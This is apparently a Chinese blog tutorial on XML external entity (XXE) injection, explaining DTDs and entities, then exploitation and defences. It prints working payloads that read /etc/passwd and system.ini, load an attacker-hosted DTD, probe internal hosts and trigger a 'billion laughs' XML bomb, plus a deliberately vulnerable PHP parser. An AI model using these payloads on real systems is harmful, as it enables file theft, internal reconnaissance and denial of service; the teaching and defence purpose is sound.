XML外部实体注入漏洞——XXE简单分析
前言:
??????? XXE漏洞經(jīng)常出現(xiàn)在CTF中,一直也沒有系統(tǒng)的學(xué)習(xí)過,今天就來總結(jié)一波。
文章目錄
- 一、XXE 漏洞是什么:
- 二、XML基礎(chǔ)知識:
- 1、XML是什么?
- 2、XML文檔結(jié)構(gòu):
- DTD聲明方式:
- 1、內(nèi)部DTD聲明:
- 2、外部DTD聲明:
- 實體的聲明:
- 實體的分類:
- 1、按聲明位置分(和上面的內(nèi)外部引入 DTD聲明不同,別弄混了):
- 2、按類型分:
- 三、如何利用XXE:
- 四、XXE漏洞常見的危害:
- 1、任意文件讀取:
- 2、命令執(zhí)行:
- 3、內(nèi)網(wǎng)探測:
- 4、攻擊內(nèi)網(wǎng)網(wǎng)站:
- 5、發(fā)起Dos攻擊:
- 五、XXE 如何防御:
- 方式一、使用開發(fā)語言提供的禁用外部實體的方法:
- 方式二、過濾用戶輸入:
- 最后
一、XXE 漏洞是什么:
XXE 漏洞全稱:XML External Entity Injection,即 XML 外部實體 注入漏洞。XXE 漏洞發(fā)生在應(yīng)用程序解析 XML輸入時,沒有禁止外部實體的加載,導(dǎo)致可加載惡意外部文件和代碼,造成任意文件讀取、命令執(zhí)行、內(nèi)網(wǎng)端口掃描、攻擊內(nèi)網(wǎng)網(wǎng)站、發(fā)起 Dos攻擊等危害。
二、XML基礎(chǔ)知識:
想要了解 XXE漏洞,需要先了解一下關(guān)于 XML的基礎(chǔ)知識。
1、XML是什么?
-
XML全稱:可擴展標(biāo)記語言(Extensible Markup Language)。
-
XML是獨立于軟件和硬件的信息傳輸工具,它把數(shù)據(jù)從HTML中分離。 XML語言沒有預(yù)定義的標(biāo)簽,需要作者定義自己的標(biāo)簽和自己的文檔結(jié)構(gòu)。
-
XML 被設(shè)計用來傳輸和存儲數(shù)據(jù),HTML 被設(shè)計用來顯示數(shù)據(jù)。
2、XML文檔結(jié)構(gòu):
XML文檔結(jié)構(gòu)包括:
XML聲明
DTD 文檔類型定義(可選)
文檔元素。
示例代碼:
其中 DTD (Document Type Definition)即 文檔類型定義 部分 定義了XML文檔的標(biāo)簽以及元素屬性。
如上圖中的DTD 就定義了XML的根元素為 note,然后根元素下面有一些子元素 (to,from,heading,body),那么下面的文檔元素就可以使用這些元素:
<!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>注:
-
PCDATA:可被解析的字符數(shù)據(jù)。PCDATA 數(shù)據(jù)類型是會被解析器解析的文本。這些文本將被解析器檢查 實體 以及 標(biāo)記。文本中的標(biāo)簽會被當(dāng)作標(biāo)記來處理,而實體會被展開。與之對應(yīng)的是CDATA
-
CDATA:不被解析的字符數(shù)據(jù),CDATA 數(shù)據(jù)類型是不會被解析器解析的文本,在這些文本中的標(biāo)簽不會被當(dāng)作標(biāo)記來對 待,其中的實體也不會被展開。詳細(xì)可點這 鏈接
DTD聲明方式:
其中DTD有兩種構(gòu)建方式,分別為內(nèi)部 DTD聲明和外部 DTD聲明。
1、內(nèi)部DTD聲明:
聲明格式:
<!DOCTYPE 根元素 [元素聲明]>如 上例使用就是內(nèi)部 DTD聲明。
2、外部DTD聲明:
通過引入 dtd文件的方式進(jìn)行聲明(這一點和 css,javascript 很像)。
聲明格式:
<!DOCTYPE 根元素 SYSTEM "文件名">例:
<?xml version="1.0"?><!DOCTYPE note SYSTEM "test.dtd"> <note> <to>H</to><from>E</from><head>L</head><body>LO</body> </note>test.dtd:
<!ELEMENT to (#PCDATA)><!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)><!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)><!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)><!--定義body元素為”#PCDATA”類型-->🆗,說完了 DTD的兩種引入方式,終于到了關(guān)鍵人物:" 實體 " 登場了。
實體的聲明:
實體定義在 DTD聲明中,
例:
<?xml version="1.0"?> <!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe "hello" > ]>這里定義元素為 ANY 表示可以接受任何元素作為標(biāo)簽,這里的 "xxe" 就是我們所說的實體了(相當(dāng)于一個變量),可以在XML文檔元素中使用 & 符號對實體進(jìn)行引用。
例:
<sss> <user>&xxe;</user> <pass>pass</pass> </sss>到時候輸出的時候 &xxe; 就會被 hello 替換。
實體的分類:
1、按聲明位置分(和上面的內(nèi)外部引入 DTD聲明不同,別弄混了):
實體是定義在 DTD中的,可分為 外部實體 和 內(nèi)部實體,上面的例子就是內(nèi)部實體,外部實體就是把實體定義在外部文件中。
例:
<?xml version="1.0"?> <!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > //引入外部dtd文件 ]> <sss><user>&xxe;</user><pass>pass</pass> </sss>這樣當(dāng)需要更改實體的值時,只需要更改外部的 dtd 文件就行,不需要打開源碼更改了(降低了耦合性),但也帶來了安全漏洞。
外部實體支持http、file等協(xié)議。不同程序支持的協(xié)議不同:
2、按類型分:
實體又分為通用實體和參數(shù)實體。
1、通用實體:
- 用 &實體名;引用,在DTD 中定義(內(nèi)外DTD都行),在 XML文檔元素中引用。
上面的例子都是通用實體。
2、參數(shù)實體:
-
使用 % 實體名(中間有空格) 在DTD中定義(內(nèi)外DTD都行),并且只能在DTD中使用 %實體名; 引用。
-
在 DTD 文件中,參數(shù)實體的聲明可以引用其他實體(參數(shù)實體和通用實體)。
引入格式:
內(nèi)部引入:
<!ENTITY % 實體名稱 "實體的值">例:
<?xml version="1.0" encoding="utf-8"> <!DOCTYPE Author [ <!ENTITY % first "Hello"> <!ENTITY % second "%first;_World"> %second;]>%second; 會解析為:Hello_World
外部引入:
<!ENTITY % 實體名稱 SYSTEM "URI">例:
<!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///D:/test.dtd"> %name;]>三、如何利用XXE:
說了這么多,終于來到了重點,正如標(biāo)題 XXE名為 “外部實體注入”,也就是說時是通過引入外部實體的方式進(jìn)行注入的。
我們先來看這個例子:
<?xml version="1.0"?> <!DOCTYPE s [ <!ELEMENT s ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > ]> <s><user>&xxe;</user><pass>pass</pass> </s>既然能讀 dtd文件,那是不是將路徑換成敏感文件的路徑,也能把敏感文件讀出來?
例:
解析 xml 的php文件:
test.php:
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);echo $creds; ?>構(gòu)造payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE A [ <!ENTITY a SYSTEM "file:///c:/windows/system.ini"> ]> <A>&a;</A>可以看到,成功讀取到了 C盤下的 system.ini 文件,此漏洞就是 任意文件讀取漏洞。
四、XXE漏洞常見的危害:
1、任意文件讀取:
構(gòu)造任意文件讀取漏洞 playload 有下面幾種方法:
方式一、直接通過外部實體聲明:
XML內(nèi)容:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <a>&b;</a>上面的例子就是此方式,這是最簡單的XXE漏洞利用。
方式二、外部實體聲明 (通用實體)+ 外部 DTD文件:
XML內(nèi)容:
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://XXX/test.dtd"> <c>&b;</c>注意:這里的 http://XXX/test.dtd 是攻擊者自己服務(wù)器上的文件。
test.dtd 內(nèi)容:
<!ENTITY b SYSTEM "file:///etc/passwd">示例(使用的是 xxe-labs 靶場的php環(huán)境):
因為這里使用windows演示的,所以讀取的是 system.ini 文件,可以看到成功的讀取到了。
方式三、外部實體聲明(參數(shù)實體) + 引入外部實體聲明:
因為參數(shù)實體可以嵌套別的實體,所以產(chǎn)生了這種方式。
<?xml version="1.0"?> <!DOCTYPE a[<!ENTITY % d SYSTEM "http://XXX/test.dtd">%d; ]> <c>&b;</c>test.dtd 內(nèi)容:
<!ENTITY b SYSTEM "file:///etc/passwd">示例:
注意這種方式必須要先引用 參數(shù)實體,才能引用通用實體,且缺一不可。
2、命令執(zhí)行:
在安裝 expect擴展的PHP環(huán)境里執(zhí)行系統(tǒng)命令,其他協(xié)議也有可能可以執(zhí)行系統(tǒng)命令。
因為PHP的 expect 并不是默認(rèn)安裝擴展,所以命令執(zhí)行比較難利用,但不排除有幸運的情況。
3、內(nèi)網(wǎng)探測:
XML 外部實體中是可以使用http://協(xié)議,可以利用該請求去探查內(nèi)網(wǎng)。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root>4、攻擊內(nèi)網(wǎng)網(wǎng)站:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]> <root> <name>&xxe;</name> </root>5、發(fā)起Dos攻擊:
幾乎所有可以控制服務(wù)器資源利用的東西,都可用于制造DOS攻擊。通過XML外部實體注入,攻擊者可以發(fā)送任意的HTTP請求,因為解析器會解析文檔中的所有實體,所以如果實體聲明層層嵌套的話,在一定數(shù)量上可以對服務(wù)器器造成DoS。
常見的XML炸彈:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>攻擊原理:XML解析器嘗試解析該文件時,DTD中的實體會以指數(shù)級的數(shù)量級展開,lol 實體為 “l(fā)ol” 字符串,然后一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “l(fā)ol” 了,以此類推,lol9 實體含有 10^8 個 “l(fā)ol” 字符串,所以這個1K不到的文件經(jīng)過解析后會占用到3G的內(nèi)存,可見有多恐怖,不過現(xiàn)代的服務(wù)器軟硬件大多已經(jīng)抵御了此類攻擊。
防御XML炸彈的方法也很簡單禁止DTD或者是限制每個實體的最大長度。
五、XXE 如何防御:
方式一、使用開發(fā)語言提供的禁用外部實體的方法:
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方式二、過濾用戶輸入:
過濾用戶提交的XML數(shù)據(jù) ,關(guān)鍵詞:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC。
最后
🆗,關(guān)于 XXE漏洞的總結(jié)大致就這些了,后面遇到新的 XXE利用方式再補上。( ?? ω ?? )?
總結(jié)
以上是生活随笔為你收集整理的XML外部实体注入漏洞——XXE简单分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Google Hacking语法总结
- 下一篇: 渗透测试之信息收集篇